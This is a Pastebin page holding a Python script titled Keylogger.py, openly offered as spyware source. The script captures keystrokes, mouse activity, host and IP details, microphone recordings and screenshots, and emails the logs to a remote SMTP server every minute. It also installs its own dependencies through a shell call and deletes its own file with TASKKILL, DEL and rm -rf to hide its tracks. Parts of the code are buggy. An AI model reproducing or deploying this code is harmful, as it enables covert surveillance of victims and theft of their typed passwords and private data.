Advertisement
Dynamic_Fantasy

Keylogger.py

Apr 23rd, 2024
1,132
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 5.00 KB | None | 0 0
  1. try:
  2.     import logging
  3.     import os
  4.     import platform
  5.     import smtplib
  6.     import socket
  7.     import threading
  8.     import wave
  9.     import pyscreenshot
  10.     import sounddevice as sd
  11.     from pynput import keyboard
  12.     from pynput.keyboard import Listener
  13.     from email import encoders
  14.     from email.mime.base import MIMEBase
  15.     from email.mime.multipart import MIMEMultipart
  16.     from email.mime.text import MIMEText
  17.     import glob
  18. except ModuleNotFoundError:
  19.     from subprocess import call
  20.     modules = ["pyscreenshot","sounddevice","pynput"]
  21.     call("pip install " + ' '.join(modules), shell=True)
  22. finally:
  23.     EMAIL_ADDRESS = "YOUR_USERNAME"
  24.     EMAIL_PASSWORD = "YOUR_PASSWORD"
  25.     SEND_REPORT_EVERY = 60 # as in seconds
  26.     class KeyLogger:
  27.         def __init__(self, time_interval, email, password):
  28.             self.interval = time_interval
  29.             self.log = "KeyLogger Started..."
  30.             self.email = email
  31.             self.password = password
  32.         def appendlog(self, string):
  33.             self.log = self.log + string
  34.         def on_move(self, x, y):
  35.             current_move = logging.info("Mouse moved to {} {}".format(x, y))
  36.             self.appendlog(current_move)
  37.         def on_click(self, x, y):
  38.             current_click = logging.info("Mouse moved to {} {}".format(x, y))
  39.             self.appendlog(current_click)
  40.         def on_scroll(self, x, y):
  41.             current_scroll = logging.info("Mouse moved to {} {}".format(x, y))
  42.             self.appendlog(current_scroll)
  43.         def save_data(self, key):
  44.             try:
  45.                 current_key = str(key.char)
  46.             except AttributeError:
  47.                 if key == key.space:
  48.                     current_key = "SPACE"
  49.                 elif key == key.esc:
  50.                     current_key = "ESC"
  51.                 else:
  52.                     current_key = " " + str(key) + " "
  53.             self.appendlog(current_key)
  54.         def send_mail(self, email, password, message):
  55.             sender = "Private Person <from@example.com>"
  56.             receiver = "A Test User <to@example.com>"
  57.             m = f"""\
  58.            Subject: main Mailtrap
  59.            To: {receiver}
  60.            From: {sender}
  61.            \n"""
  62.             m += message
  63.             with smtplib.SMTP("smtp.mailtrap.io", 2525) as server:
  64.                 server.login(email, password)
  65.                 server.sendmail(sender, receiver, message)
  66.         def report(self):
  67.             self.send_mail(self.email, self.password, "\n\n" + self.log)
  68.             self.log = ""
  69.             timer = threading.Timer(self.interval, self.report)
  70.             timer.start()
  71.         def system_information(self):
  72.             hostname = socket.gethostname()
  73.             ip = socket.gethostbyname(hostname)
  74.             plat = platform.processor()
  75.             system = platform.system()
  76.             machine = platform.machine()
  77.             self.appendlog(hostname)
  78.             self.appendlog(ip)
  79.             self.appendlog(plat)
  80.             self.appendlog(system)
  81.             self.appendlog(machine)
  82.         def microphone(self):
  83.             fs = 44100
  84.             seconds = SEND_REPORT_EVERY
  85.             obj = wave.open('sound.wav', 'w')
  86.             obj.setnchannels(1)  # mono
  87.             obj.setsampwidth(2)
  88.             obj.setframerate(fs)
  89.             myrecording = sd.rec(int(seconds * fs), samplerate=fs, channels=2)
  90.             obj.writeframesraw(myrecording)
  91.             sd.wait()
  92.             self.send_mail(email=EMAIL_ADDRESS, password=EMAIL_PASSWORD, message=obj)
  93.         def screenshot(self):
  94.             img = pyscreenshot.grab()
  95.             self.send_mail(email=EMAIL_ADDRESS, password=EMAIL_PASSWORD, message=img)
  96.         def run(self):
  97.             keyboard_listener = keyboard.Listener(on_press=self.save_data)
  98.             with keyboard_listener:
  99.                 self.report()
  100.                 keyboard_listener.join()
  101.             with Listener(on_click=self.on_click, on_move=self.on_move, on_scroll=self.on_scroll) as mouse_listener:
  102.                 mouse_listener.join()
  103.             if os.name == "nt":
  104.                 try:
  105.                     pwd = os.path.abspath(os.getcwd())
  106.                     os.system("cd " + pwd)
  107.                     os.system("TASKKILL /F /IM " + os.path.basename(__file__))
  108.                     print('File was closed.')
  109.                     os.system("DEL " + os.path.basename(__file__))
  110.                 except OSError:
  111.                     print('File is close.')
  112.             else:
  113.                 try:
  114.                     pwd = os.path.abspath(os.getcwd())
  115.                     os.system("cd " + pwd)
  116.                     os.system('pkill leafpad')
  117.                     os.system("chattr -i " +  os.path.basename(__file__))
  118.                     print('File was closed.')
  119.                     os.system("rm -rf" + os.path.basename(__file__))
  120.                 except OSError:
  121.                     print('File is close.')
  122.     keylogger = KeyLogger(SEND_REPORT_EVERY, EMAIL_ADDRESS, EMAIL_PASSWORD)
  123.     keylogger.run()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement